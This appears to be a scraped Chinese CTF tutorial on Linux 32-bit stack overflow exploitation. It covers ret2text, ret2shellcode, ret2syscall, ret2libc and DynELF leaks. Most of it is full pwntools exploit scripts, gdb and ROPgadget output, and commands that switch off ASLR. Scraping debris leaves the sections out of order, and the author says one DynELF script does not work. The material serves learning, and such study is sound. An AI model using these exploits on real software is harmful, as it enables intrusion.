0x08048456offset = 0x18payload = &apos;A&apos; * offset + p32(ret_addr)print(ret_addr,p32(ret_addr))p.sendline(payload)p.interactive() 连接本地process(),远程remote() 数据处理p32、p64是打包（转换成二进制），u32、u64是解包 IO模块send(data) : 发送数据sendline(data) : 发送一行数据，相当于在末尾加\ninteractive() : 与shell交互 执行exp：12345678$ python stack1.py[+] Starting local process &apos;./stack1&apos;: pid 8328(134513750, &apos;V\x84\x04\x08&apos;)[*] Switching to interactive modeAAAAAAAAAAAAAAAAAAAAAAAAV\x84\x0You Hava already controlled it.[*] Got EOF while reading in interactive$ 0X01 ret2shellcode原理ret2shellcode，即控制程序执行 shellcode 代码。shellcode 指的是用于完成某个功能的汇编代码，常见的功能主要是获取目标系统的 shell。一般来说，shellcode 需要我们自己填充。这其实是另外一种典型的利用方法，即此时我们需要自己去填充一些可执行的代码。 在栈溢出的基础上，要想执行 shellcode，需要对应的 binary 在运行时，shellcode 所在的区域具有可执行权限(NX disabled)。 检查保护情况1234567891011$ checksec ret2shellcode[*] &apos;/home/han/ck/pwn/linux/re2shellcode/ret2shellcode&apos; Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments$ cat /proc/sys/kernel/randomize_va_space0 可以看出源程序几乎没有开启任何保护，并且有可读，可写，可执行段。 查看危险函数123456789101112int __cdecl main(int argc, const char **argv, const char **envp)&#123; int v4; // [sp+1Ch] [bp-64h]@1 setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 1, 0); puts(&quot;No system for you this time !!!&quot;); gets((char *)&amp;v4); strncpy(buf2, (const char *)&amp;v4, 0x64u); printf(&quot;bye bye ~&quot;); return 0;&#125; 可以看到，漏洞函数依然还是gets，不过这次还把v4复制到了buf2处。12.bss:0804A080 public buf2.bss:0804A080 ; char buf2[100] 通过sudo cat /proc/[pid]/maps查看,会发现buf2和stack都是rwx的。 计算溢出点可以看到该字符串是通过相对于 esp 的索引，所以我们需要进行调试，将断点下在 call gets处，查看 esp，ebp123456789101112131415161718192021222324252627282930313233343536[----------------------------------registers-----------------------------------]EAX: 0xffffc99c --&gt; 0xf7ffd000 --&gt; 0x26f34EBX: 0x0ECX: 0xf7fb2dc7 --&gt; 0xfb38900aEDX: 0xf7fb3890 --&gt; 0x0ESI: 0xf7fb2000 --&gt; 0x1d4d6cEDI: 0x0EBP: 0xffffca08 --&gt; 0x0ESP: 0xffffc980 --&gt; 0xffffc99c --&gt; 0xf7ffd000 --&gt; 0x26f34EIP: 0x8048593 (&lt;main+102&gt;: call 0x80483d0 &lt;gets@plt&gt;)EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)[-------------------------------------code-------------------------------------] 0x8048587 &lt;main+90&gt;: call 0x80483e0 &lt;puts@plt&gt; 0x804858c &lt;main+95&gt;: lea eax,[esp+0x1c] 0x8048590 &lt;main+99&gt;: mov DWORD PTR [esp],eax=&gt; 0x8048593 &lt;main+102&gt;: call 0x80483d0 &lt;gets@plt&gt; 0x8048598 &lt;main+107&gt;: mov DWORD PTR [esp+0x8],0x64 0x80485a0 &lt;main+115&gt;: lea eax,[esp+0x1c] 0x80485a4 &lt;main+119&gt;: mov DWORD PTR [esp+0x4],eax 0x80485a8 &lt;main+123&gt;: mov DWORD PTR [esp],0x804a080Guessed arguments:arg[0]: 0xffffc99c --&gt; 0xf7ffd000 --&gt; 0x26f34[------------------------------------stack-------------------------------------]0000| 0xffffc980 --&gt; 0xffffc99c --&gt; 0xf7ffd000 --&gt; 0x26f340004| 0xffffc984 --&gt; 0x00008| 0xffffc988 --&gt; 0x10012| 0xffffc98c --&gt; 0x00016| 0xffffc990 --&gt; 0x00020| 0xffffc994 --&gt; 0xc300000024| 0xffffc998 --&gt; 0x00028| 0xffffc99c --&gt; 0xf7ffd000 --&gt; 0x26f34[------------------------------------------------------------------------------]Legend: code, data, rodata, valueBreakpoint 1, 0x08048593 in main () at ret2shellcode.c:1414 ret2shellcode.c: No such file or directory. 可以看到 esp 为 0xffffc980，ebp 为0xffffca08，同时 v4 相对于 esp 的索引为 [esp+0x1c]，所以，v4 的地址为 0xffffc99c，所以 s 相对于 ebp 的偏移为 0x6C，所以相对于返回地址的偏移为 0x6c+4。 劫持ret的地址这次我们想要程序执行shellcode，那么我们可以把shellcode放在任何可执行的位置，比如buf2或栈上，位置的地址就是我们需要覆盖ret_addr的值 pwn测试控制程序执行bss段的shellcode12345678910111213from pwn import *p = process(&apos;./ret2shellcode&apos;)ret_addr = 0x0804A080offset = 0x6c + 4shellcode = asm(shellcraft.i386.linux.sh())payload = shellcode.ljust(offset,&apos;a&apos;) + p32(ret_addr)#payload = shellcode + &apos;a&apos;*(offset - len(shellcode)) + p32(ret_addr)p.sendline(payload)p.interactive() Shellcode生成器使用shellcraft可以生成对应的架构的shellcode代码，直接使用链式调用的方法就可以得到如32位linux：shellcraft.i386.linux.sh()shellcode.ljust(offset,’a’)在shellcode后面填充offset - len(shellcode)长度的字符‘a’ 汇编与反汇编使用asm来进行汇编，使用disasm进行反汇编指定cpu类型以及操作系统：asm(‘nop’, arch=’arm’，os = ‘linux’，endian = ‘little’，word_size = 32) 0x02 ret2text原理ret2text 即控制程序执行程序本身已有的的代码 (.text)。其实，这种攻击方法是一种笼统的描述。我们控制执行程序已有的代码的时候也可以控制程序执行好几段不相邻的程序已有的代码 (也就是 gadgets)，这就是我们所要说的 ROP。 ROP不需要去执行栈中的shellcode，因此可以绕过DEP保护 检查保护1234567$ checksec ret2text[*] &apos;/home/han/ck/pwn/linux/ret2text/ret2text&apos; Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) 开启了DEP，问题不大，因为执行的已有的代码 检查危险函数1234567891011int __cdecl main(int argc, const char **argv, const char **envp)&#123; int v4; // [sp+1Ch] [bp-64h]@1 setvbuf(stdout, 0, 2, 0); setvbuf(_bss_start, 0, 1, 0); puts("There is something amazing here, do you know anything?"); gets((char *)&amp;v4); printf("Maybe I will tell you next time !"); return 0;&#125; 同样还是gets函数 计算偏移和上一个一样，0x6c+4 寻找跳板在代码段发现调用 system(“/bin/sh”) 的代码，那么直接将ret覆盖为0804863A就能拿到shell1234567.text:0804862D call ___isoc99_scanf.text:08048632 mov eax, [ebp+input].text:08048635 cmp eax, [ebp+secretcode].text:08048638 jnz short locret_8048646.text:0804863A mov dword ptr [esp], offset command ; &quot;/bin/sh&quot;.text:08048641 call _system.text:08048646 测试123456789101112from pwn import *p = process(&apos;./ret2text&apos;)ret_add = 0x0804863Aoffset = 0x6c + 4payload = &apos;A&apos;*offset + p32(ret_add)print(p32(ret_add))p.sendline(payload)p.interactive() 0x03 ret2syscall原理ret2syscall，即控制程序执行系统调用，获取 shell。上一个可以在代码段找到system(‘/bin/sh’),如果没法找到的话，我们就得自己去构造系统调用简单地说，只要我们把对应获取 shell 的系统调用的参数放到对应的寄存器中，那么我们在执行 int 0x80 就可执行对应的系统调用。比如说这里我们利用如下系统调用来获取 shellexecve(&quot;/bin/sh&quot;,NULL,NULL)其中，该程序是 32 位，所以我们需要使得1234系统调用号，即 eax 应该为 0xb第一个参数，即 ebx 应该指向 /bin/sh 的地址，其实执行 sh 的地址也可以。第二个参数，即 ecx 应该为 0第三个参数，即 edx 应该为 0 获取跳板那么我们如何去控制这4个寄存器的值，我们现在修改的只有栈中的数据，这里就需要使用 gadgets。比如说，现在栈顶是 10，那么如果此时执行了 pop eax，那么现在 eax 的值就为 10。但是我们并不能期待有一段连续的代码可以同时控制对应的寄存器，所以我们需要一段一段控制，这也是我们在 gadgets 最后使用 ret 来再次控制程序执行流程的原因。具体寻找 gadgets 的方法，我们可以使用 ropgadgets 这个工具。首先，我们来寻找控制 eax 的 gadgets123456$ ROPgadget --binary ret2syscall --only &apos;pop|ret&apos;|grep eax0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret0x080bb196 : pop eax ; ret0x0807217a : pop eax ; ret 0x80e0x0804f704 : pop eax ; ret 30x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret 类似的，我们可以得到控制其它寄存器的 gadgets12345678910111213141516171819202122232425262728$ ROPgadget --binary ret2syscall --only &apos;pop|ret&apos;|grep ebx0x0809dde2 : pop ds ; pop ebx ; pop esi ; pop edi ; ret0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret0x0805b6ed : pop ebp ; pop ebx ; pop esi ; pop edi ; ret0x0809e1d4 : pop ebx ; pop ebp ; pop esi ; pop edi ; ret0x080be23f : pop ebx ; pop edi ; ret0x0806eb69 : pop ebx ; pop edx ; ret0x08092258 : pop ebx ; pop esi ; pop ebp ; ret0x0804838b : pop ebx ; pop esi ; pop edi ; pop ebp ; ret0x080a9a42 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x100x08096a26 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x140x08070d73 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0xc0x0805ae81 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 40x08049bfd : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 80x08048913 : pop ebx ; pop esi ; pop edi ; ret0x08049a19 : pop ebx ; pop esi ; pop edi ; ret 40x08049a94 : pop ebx ; pop esi ; ret0x080481c9 : pop ebx ; ret0x080d7d3c : pop ebx ; ret 0x6f90x08099c87 : pop ebx ; ret 80x0806eb91 : pop ecx ; pop ebx ; ret0x0806336b : pop edi ; pop esi ; pop ebx ; ret0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret0x0806eb68 : pop esi ; pop ebx ; pop edx ; ret0x0805c820 : pop esi ; pop ebx ; ret0x08050256 : pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret0x0807b6ed : pop ss ; pop ebx ; ret 现在，我们就得到了可以控制4个寄存器的地址：0x080bb196 : pop eax ; ret0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret 另外，我们要向ebx写入’/bin/sh’，同时执行int 80所以要搜索，看看程序中有没有123456789$ ROPgadget --binary ret2syscall --only intGadgets information============================================================0x08049421 : int 0x800x080938fe : int 0xbb0x080869b5 : int 0xf60x0807b4d4 : int 0xfcUnique gadgets found: 4 1234$ ROPgadget --binary ret2syscall --string &apos;/bin/sh&apos;Strings information============================================================0x080be42c : /bin/sh 测试12345678910111213141516171819from pwn import *p = process('./ret2syscall')offset = 0x6c + 4pop_eax_ret = 0x080bb196pop_edx_ecx_ebx_ret = 0x0806eb90binsh = 0x080be408int_0x80 = 0x08049421payload = 'A'*offset + p32(pop_eax_ret) + p32(0xb) + p32(pop_edx_ecx_ebx_ret) + p32(0) + p32(0) + p32(binsh) + p32(int_0x80)payload = flat('A'*offset , pop_eax_ret , 0xb , pop_edx_ecx_ebx_ret , 0 , 0 , binsh,int_0x80)print(payload)p.sendline(payload)p.interactive() flat()在pwntools中可以用flat()來构造rop，参数传递用list來传，list中的element为想串接的rop gadget地址，简单来说就是可以把：rop = p32(gadget1) + p32(gadget2) + p32(gadget3) ……变成这样表示：flat([gadget1,gadget2,gadget3,……]) 0x04 ret2libc原理我们知道程序调用了libc.so，并且libc.so里保存了大量可利用的函数，我们如果可以让程序执行system(“/bin/sh”)的话，也可以获取到shell。既然思路有了，那么接下来的问题就是如何得到system()这个函数的地址以及”/bin/sh”这个字符串的地址，通常是返回至某个函数的 plt 处或者函数的具体位置 (即函数对应的 got 表项的内容) 1. 程序中有system和’/bin/sh’检查保护1234567$ checksec ret2libc1[*] &apos;/home/han/ck/pwn/linux/ret2libc/ret2libc1&apos; Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) 确定漏洞位置12345678910int __cdecl main(int argc, const char **argv, const char **envp)&#123; int v4; // [sp+1Ch] [bp-64h]@1 setvbuf(stdout, 0, 2, 0); setvbuf(_bss_start, 0, 1, 0); puts("RET2LIBC &gt;_&lt;"); gets((char *)&amp;v4); return 0;&#125; 计算偏移寻找跳板 system_plt 123.plt:08048460 _system proc near ; CODE XREF: secure+44p.plt:08048460 jmp ds:off_804A018.plt:08048460 _system endp ‘binsh’ 1234$ ROPgadget --binary ret2libc1 --string &apos;/bin/sh&apos;Strings information============================================================0x08048744 : /bin/sh pwn测试12345678910111213from pwn import *p = process('./ret2libc1')offset =112binsh = 0x08048720system_plt = 0x08048460fake_ret = 'bbbb'payload = flat(['a'*offset,system_plt,fake_ret,binsh])p.sendline(payload)p.interactive() fake_ret是调用system之后的返回地址，binsh就是system的参数 2. 没有binsh需要我们自己来读取字符串，所以我们需要两个 gadgets，第一个控制程序读取字符串，使用gets将’/bin/sh’写入程序某个位置，第二个控制程序执行 system(“/bin/sh”)。 我们在.bss段发现了未利用的buf2，可以把binsh写入buf21234.bss:0804A080 public buf2.bss:0804A080 ; char buf2[100].bss:0804A080 buf2 db 64h dup(?).bss:0804A080 _bss ends 1234567891011121314from pwn import *p = process(&apos;./ret2libc2&apos;)gets_plt = 0x08048460pop_ebx = 0x0804843dsystem_plt = 0x08048490buf2_add = 0x804a080payload = flat([&apos;a&apos;*112,gets_plt,pop_ebx,buf2_add,system_plt,0xdeadbeef,buf2_add])p.sendline(payload)p.sendline(&apos;/bin/sh&apos;)p.interactive() buf2_add是gets的参数，pop_ebx将gets返回后的堆栈平衡，移交控制权给system 3. 两个都没有&amp;无ASLR程序中两个都没有，但是我们可以利用libc中的system和’/bin/sh’1234567$ checksec ret2libc3[*] &apos;/home/han/ck/pwn/linux/ret2libc/ret2libc3&apos; Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) 寻找跳板这时候我们可以使用gdb进行调试。然后通过print和find命令来查找system和”/bin/sh”字符串的地址。我们首先在main函数上下一个断点，然后执行程序，这样的话程序会加载libc.so到内存中，然后我们就可以通过”print system”这个命令来获取system函数在内存中的位置，随后我们可以通过” print __libc_start_main”这个命令来获取libc.so在内存中的起始位置，接下来我们可以通过find命令来查找”/bin/sh”这个字符串。这样我们就得到了system的地址0xf7e19d10以及”/bin/sh”的地址0xf7f588cf。1234567891011121314151617Breakpoint 1, main () at ret2libcGOT.c:2020 ret2libcGOT.c: No such file or directory.gdb-peda$ print system$1 = &#123;&lt;text variable, no debug info&gt;&#125; 0xf7e19d10 &lt;system&gt;gdb-peda$ print __libc_start_main$2 = &#123;&lt;text variable, no debug info&gt;&#125; 0xf7df5d90 &lt;__libc_start_main&gt;gdb-peda$ find 0xf7df5d90,+2200000,&quot;/bin/sh&quot;Searching for &apos;0xf7df5d90,+2200000,/bin/sh&apos; in: None rangesSearch for a pattern in memory; support regex searchUsage: searchmem pattern start end searchmem pattern mapnamegdb-peda$ find &quot;/bin/sh&quot;Searching for &apos;/bin/sh&apos; in: None rangesFound 1 results, display max 1 items:libc : 0xf7f588cf (&quot;/bin/sh&quot;) 测试123456789101112from pwn import *p = process(&apos;./ret2libc3&apos;)offset = 112system_addr = 0xf7e19d10binsh = 0xf7f588cfpayload = flat([&apos;a&apos;*112,system_addr,0xdeabeef,binsh])p.sendline(payload)p.interactive() 4. 两个都没有&amp;有ASLR通过sudo cat /proc/[pid]/maps或者ldd查看，你会发现libc.so地址每次都是变化的12345678910$ ldd ret2libc3 linux-gate.so.1 (0xf7f43000) libc.so.6 =&gt; /lib32/libc.so.6 (0xf7d4c000) /lib/ld-linux.so.2 (0xf7f45000)han at ubuntu in ~/ck/pwn/linux/ret2libc$ ldd ret2libc3 linux-gate.so.1 (0xf7f96000) libc.so.6 =&gt; /lib32/libc.so.6 (0xf7d9f000) /lib/ld-linux.so.2 (0xf7f98000) 那么如何解决地址随机化的问题呢？思路是：我们需要先泄漏出libc.so某些函数在内存中的地址，然后再利用泄漏出的函数地址根据偏移量计算出system()函数和/bin/sh字符串在内存中的地址，然后再执行我们的ret2libc的shellcode。既然栈，libc，heap的地址都是随机的。我们怎么才能泄露出libc.so的地址呢？方法还是有的，因为程序本身在内存中的地址并不是随机的，如图所示： 也就是说程序内存映像是没有随机的 首先我们利用objdump来查看可以利用的plt函数和函数对应的got表：1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283$ objdump -d -j .plt ./ret2libc3./ret2libc3: file format elf32-i386Disassembly of section .plt:08048420 &lt;.plt&gt;: 8048420: ff 35 04 a0 04 08 pushl 0x804a004 8048426: ff 25 08 a0 04 08 jmp *0x804a008 804842c: 00 00 add %al,(%eax) ...08048430 &lt;printf@plt&gt;: 8048430: ff 25 0c a0 04 08 jmp *0x804a00c 8048436: 68 00 00 00 00 push $0x0 804843b: e9 e0 ff ff ff jmp 8048420 &lt;.plt&gt;08048440 &lt;gets@plt&gt;: 8048440: ff 25 10 a0 04 08 jmp *0x804a010 8048446: 68 08 00 00 00 push $0x8 804844b: e9 d0 ff ff ff jmp 8048420 &lt;.plt&gt;08048450 &lt;time@plt&gt;: 8048450: ff 25 14 a0 04 08 jmp *0x804a014 8048456: 68 10 00 00 00 push $0x10 804845b: e9 c0 ff ff ff jmp 8048420 &lt;.plt&gt;08048460 &lt;puts@plt&gt;: 8048460: ff 25 18 a0 04 08 jmp *0x804a018 8048466: 68 18 00 00 00 push $0x18 804846b: e9 b0 ff ff ff jmp 8048420 &lt;.plt&gt;08048470 &lt;__gmon_start__@plt&gt;: 8048470: ff 25 1c a0 04 08 jmp *0x804a01c 8048476: 68 20 00 00 00 push $0x20 804847b: e9 a0 ff ff ff jmp 8048420 &lt;.plt&gt;08048480 &lt;srand@plt&gt;: 8048480: ff 25 20 a0 04 08 jmp *0x804a020 8048486: 68 28 00 00 00 push $0x28 804848b: e9 90 ff ff ff jmp 8048420 &lt;.plt&gt;08048490 &lt;__libc_start_main@plt&gt;: 8048490: ff 25 24 a0 04 08 jmp *0x804a024 8048496: 68 30 00 00 00 push $0x30 804849b: e9 80 ff ff ff jmp 8048420 &lt;.plt&gt;080484a0 &lt;setvbuf@plt&gt;: 80484a0: ff 25 28 a0 04 08 jmp *0x804a028 80484a6: 68 38 00 00 00 push $0x38 80484ab: e9 70 ff ff ff jmp 8048420 &lt;.plt&gt;080484b0 &lt;rand@plt&gt;: 80484b0: ff 25 2c a0 04 08 jmp *0x804a02c 80484b6: 68 40 00 00 00 push $0x40 80484bb: e9 60 ff ff ff jmp 8048420 &lt;.plt&gt;080484c0 &lt;__isoc99_scanf@plt&gt;: 80484c0: ff 25 30 a0 04 08 jmp *0x804a030 80484c6: 68 48 00 00 00 push $0x48 80484cb: e9 50 ff ff ff jmp 8048420 &lt;.plt&gt;$ objdump -R ret2libc3ret2libc3: file format elf32-i386DYNAMIC RELOCATION RECORDSOFFSET TYPE VALUE08049ffc R_386_GLOB_DAT __gmon_start__0804a040 R_386_COPY stdin@@GLIBC_2.00804a060 R_386_COPY stdout@@GLIBC_2.00804a00c R_386_JUMP_SLOT printf@GLIBC_2.00804a010 R_386_JUMP_SLOT gets@GLIBC_2.00804a014 R_386_JUMP_SLOT time@GLIBC_2.00804a018 R_386_JUMP_SLOT puts@GLIBC_2.00804a01c R_386_JUMP_SLOT __gmon_start__0804a020 R_386_JUMP_SLOT srand@GLIBC_2.00804a024 R_386_JUMP_SLOT __libc_start_main@GLIBC_2.00804a028 R_386_JUMP_SLOT setvbuf@GLIBC_2.00804a02c R_386_JUMP_SLOT rand@GLIBC_2.00804a030 R_386_JUMP_SLOT __isoc99_scanf@GLIBC_2.7 思路：通过puts@plt打印出libc_start_main在内存中的地址，也就是libc_start_main@got。既然puts()函数实现是在libc.so当中，那我们调用的puts@plt()函数为什么也能实现puts()功能呢? 这是因为linux采用了延时绑定技术，当我们调用puts@plt()的时候，系统会将真正的puts()函数地址link到got表的puts.got中，然后puts@plt()会根据puts.got 跳转到真正的puts()函数上去。由于 libc 的延迟绑定机制，我们需要泄漏已经执行过的函数的地址。这里我们泄露 libc_start_main 的地址，这是因为它是程序最初被执行的地方。 使用ldd命令可以查看目标程序调用的so库。随后我们把libc.so拷贝到当前目录，因为我们的exp需要这个so文件来计算相对地址：1234567$ ldd ret2libc3 linux-gate.so.1 (0xf7f6b000) libc.so.6 =&gt; /lib32/libc.so.6 (0xf7d74000) /lib/ld-linux.so.2 (0xf7f6d000)han at ubuntu in ~/ck/pwn/linux/ret2libc$ cp /lib32/libc.so.6 libc.so pwn测试12345678910111213141516171819202122232425262728293031from pwn import *from LibcSearcher import LibcSearcherp = process(&apos;./ret2libc3&apos;)elf = ELF(&apos;./ret2libc3&apos;)libc = ELF(&apos;./libc.so&apos;)puts_plt = elf.plt[&apos;puts&apos;]libc_start_main_got =elf.got[&apos;__libc_start_main&apos;]main = elf.symbols[&apos;main&apos;]print(&quot;leak libc_start_main_got addr and return to main again&quot;)payload = flat([&apos;a&apos;*112],puts_plt,main,libc_start_main_got)p.sendlineafter(&apos;Can you find it !?&apos;,payload)print(&quot;receiving libc_start_main_got&quot;)libc_start_main_addr = u32(p.recv(4))print(&apos;libc_start_main_addr = &apos; + hex(libc_start_main_addr))print(&quot;calculating system() addr and \&quot;/bin/sh\&quot; addr&quot;)system_addr = libc_start_main_addr + (libc.symbols[&apos;system&apos;]-libc.symbols[&apos;__libc_start_main&apos;])print(&apos;system_addr= &apos; + hex(system_addr))binsh_addr = libc_start_main_addr + (next(libc.search(&apos;/bin/sh&apos;))-libc.symbols[&apos;__libc_start_main&apos;])print(&apos;binsh_addr= &apos; + hex(binsh_addr))print(&quot;get shell&quot;)print(p32(system_addr),p32(binsh_addr))payload = flat([&apos;a&apos;*104,system_addr,0xdeadbeef,binsh_addr])p.sendline(payload)p.interactive() ELF模块ELF模块用于获取ELF文件的信息，首先使用ELF()获取这个文件的句柄，然后使用这个句柄调用函数，和IO模块很相似。下面演示了：获取基地址、获取函数地址（基于符号）、获取函数got地址、获取函数plt地址12345678910&gt; &gt;&gt;&gt; e = ELF(&apos;/bin/cat&apos;)&gt; &gt;&gt;&gt; print hex(e.address) # 文件装载的基地址&gt; 0x400000&gt; &gt;&gt;&gt; print hex(e.symbols[&apos;write&apos;]) # 函数地址&gt; 0x401680&gt; &gt;&gt;&gt; print hex(e.got[&apos;write&apos;]) # GOT表的地址&gt; 0x60b070&gt; &gt;&gt;&gt; print hex(e.plt[&apos;write&apos;]) # PLT的地址&gt; 0x401680&gt; 如果无法直接知道对方所使用的操作系统及libc的版本而苦恼，常规方法就是挨个把常见的Libc.so从系统里拿出来，与泄露的地址对比一下最后12位，从而获取版本github上面有个库可以参考：https://github.com/lieanu/LibcSearcher12345678from LibcSearcher import *#第二个参数，为已泄露的实际地址,或最后12位(比如：d90)，int类型obj = LibcSearcher(&quot;fgets&quot;, 0X7ff39014bd90)obj.dump(&quot;system&quot;) #system 偏移obj.dump(&quot;str_bin_sh&quot;) #/bin/sh 偏移obj.dump(&quot;__libc_start_main_ret&quot;) 0x05 Memory Leak &amp; DynELF - 在不获取目标libc.so的情况下进行ROP攻击参考的是蒸米的exp，但是用的不是他的示例程序，而是ret2libc3。他的方法是通过write@plt泄露内存，然后寻找system函数。然后使用read@plt将’/bin/sh’写入.bss段，然后通过pppr移交控制权给system()ret2libc3的不同之处在于，没有write和read，不过没有关系，使用puts@plt和gets@plt也可以实现嘛，但是难就难在，虽然puts@plt只有一个参数，但是它有着遇到’\x00’就截断并在后面填充’\n’的“好”习惯，所以泄露出来的数据还需要处理。可以参考下面这两篇：https://www.anquanke.com/post/id/85129http://uprprc.club/2016/09/07/pwntools-dynelf.html 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455from pwn import *p = process('./ret2libc3')elf = ELF('./ret2libc3')plt_puts = elf.symbols['puts']main = elf.symbols['main']plt_gets = elf.symbols['gets']start_addr = elf.symbols['_start']def leak(address): global i count = 0 content = '' x = p.recvuntil('!?') payload1 = '\x90'*112 + p32(plt_puts) + p32(main) + p32(address) p.sendline(payload1) up = "" while True: c = p.recv(1) count += 1 if up == '\n' and c == 'N': print((content).encode('hex')) content =content[:-1]+'\x00' break else: content += c up = c content = content[:4] # content = p.recvuntil('\nN',True) # print(content) # if not content: # content = '\x00' # else: # content = content[:4] print("%#x =&gt; %s" %(address, (content or '').encode('hex'))) return contentd = DynELF(leak,elf = ELF('./ret2libc3'))system_addr = d.lookup('system','libc')print("system address = " + hex(system_addr))bss_addr = 0x0804a040pr = 0x0804841dpayload2 = flat(['a'*112,plt_gets,pr,bss_addr,sytem_addr,main,bss_addr])print("###sending payload2####")p.sendline(payload2)p.sendline("/bin/sh\0")p.interactive() 这段代码在泄露第一个数据之后就失败了，我调试了好久，最后才想起来，payload1 = &#39;\x90&#39;*112 + p32(plt_puts) + p32(main) + p32(address)这里如果使用的是main，那么堆栈就会不平衡，导致溢出点变化（参见之前从112变成104）。但是如果改成返回到start_addr，泄露的数据就会更多（虽然还是没有成功）。一个事实是汇编程序的入口是_start，而C程序的入口是main函数 执行的流程是：GCC将你的程序同crtbegin.o/crtend.o/gcrt1.o一块进行编译。其它默认libraries会被默认动态链接。可执行程序的开始地址被设置为_start。内核加载可执行文件，并且建立正文段，数据段，bss段和堆栈段，特别的，内核为参数和环境变量分配页面，并且将所有必要信息push到堆栈上。控制流程到了_start上面。_start从内核建立的堆栈上获取所有信息，为libc_start_main建立参数栈，并且调用libc_start_main。libc_start_main初始化一些必要的东西，特别是C library（比如malloc)线程环境并且调用我们的main函数。我们的main会以main(argv,argv)来被调用。事实上，这里有意思的一点是main函数的签名。libc_start_main认为main的签名为main(int, char , char )，如果你感到好奇，尝试执行下面的程序。https://www.mi1k7ea.com/2019/03/05/%E6%A0%88%E6%BA%A2%E5%87%BA%E4%B9%8Bret2libc/]]></content>
+    <content type="text"><![CDATA[之前介绍了Windows x86平台下栈溢出漏洞的开放与利用，鉴于CTF基本都是Linux，还有实际开发环境，很多智能设备的系统都是基于Linux，所以从很现实的需求出发，一定要学习学习Linux下漏洞的分析。 ref： CTF-WIKI：https://ctf-wiki.github.io/ctf-wiki/pwn/readme-zh/蒸米大佬的一步一步学rop http://www.anquan.us/static/drops/tips-6597.htmlhttps://bbs.pediy.com/thread-221734.htm 工具： objdump、ldd、ROPgadget、readelf、https://ctf-wiki.github.io/ctf-tools/https://github.com/ctf-wiki/ctf-challenges 0x00 Control Flow hijack和Windows一样，栈溢出的根本原因在于当前计算机的体系结构没有区分代码段和数据段，因此我们可以通过修改数据段的内容（返回地址），改变程序的执行流程，从而达到程序流劫持的效果。改变计算机体系来规避漏洞目前是不可能的，防御者为了应对这种攻击，提出了各种增大攻击难度的措施（没有绝对安全的系统），最常见的有：DEP堆栈不可执行、ASLR内存地址随机化、GS/Canary栈保护等。我们从最简单的入手，不开启任何防护，先了解栈溢出的基本操作，然后逐步增加防御措施。 寻找危险函数这里有一个漏洞程序12345678910111213#include &lt;stdio.h&gt;#include &lt;string.h&gt;void success() &#123; puts(&quot;You Hava already controlled it.&quot;); &#125;void vulnerable() &#123; char s[12]; gets(s); puts(s); return;&#125;int main(int argc, char **argv) &#123; vulnerable(); return 0;&#125; 当我们看到gets时就应该知道如何入手了，这是一个非常危险的函数，无条件的接受任意大的字符串。历史上，莫里斯蠕虫第一种蠕虫病毒就利用了 gets 这个危险函数实现了栈溢出。先进行编译，关闭防御措施：12345678$ gcc -m32 -no-pie -fno-stack-protector -z execstack stack1.c -o stack1stack1.c: In function ‘vulnerable’:stack1.c:6:3: warning: implicit declaration of function ‘gets’; did you mean ‘fgets’? [-Wimplicit-function-declaration] gets(s); ^~~~ fgets/tmp/ccUuPrSy.o: In function `vulnerable&apos;:stack1.c:(.text+0x45): warning: the `gets&apos; function is dangerous and should not be used. 编译器都会提示你，gets不要再用了。-fno-stack-protector 和-z execstack分便会关掉栈保护的DEP.-no-PIE关闭 PIE（Position Independent Executable），避免加载基址被打乱。接下来关闭整个linux系统的ASLR保护：12345$ suPassword:root@ubuntu:/home/han/ck/pwn/linux/stack_demo# echo 0 &gt; /proc/sys/kernel/randomize_va_spaceroot@ubuntu:/home/han/ck/pwn/linux/stack_demo# exitexit 计算溢出点的位置什么是溢出点的位置：从缓冲区到覆盖返回地址所需要的字节数我们同样也可以使用工具pattern_create和pattern_offset来计算，这里我们先手动计算：把stack1拖入IDA进行反汇编分析：1234567int vulnerable()&#123; char s; // [sp+4h] [bp-14h]@1 gets(&amp;s); return puts(&amp;s);&#125; 在伪代码窗口，我们可看到变量s和bp的距离为14h，再加上old bp的4字节，到ret的距离就是18h。123456789101112 +-----------------+ | retaddr | +-----------------+ | saved ebp | ebp---&gt;+-----------------+ | | | | | | | | | | | |s,ebp-0x14--&gt;+-----------------+ 劫持ret的地址这里我们想让程序跳转到success()，从IDA直接可以获取0x08048456123456789101112131415161718192021.text:08048456 success proc near.text:08048456.text:08048456 var_4 = dword ptr -4.text:08048456.text:08048456 push ebp.text:08048457 mov ebp, esp.text:08048459 push ebx.text:0804845A sub esp, 4.text:0804845D call __x86_get_pc_thunk_ax.text:08048462 add eax, 1B9Eh.text:08048467 sub esp, 0Ch.text:0804846A lea edx, (aYouHavaAlready - 804A000h)[eax] ; &quot;You Hava already controlled it.&quot;.text:08048470 push edx ; s.text:08048471 mov ebx, eax.text:08048473 call _puts.text:08048478 add esp, 10h.text:0804847B nop.text:0804847C mov ebx, [ebp+var_4].text:0804847F leave.text:08048480 retn.text:08048480 success endp 那么如果我们构造的字符串为：10x18*&apos;a&apos;+success_addr 这样就会将retaddr覆盖巍峨哦success_addr,此时栈结构为：123456789101112 +-----------------+ | 0x0804843B | +-----------------+ | aaaa | ebp---&gt;+-----------------+ | | | | | | | | | | | 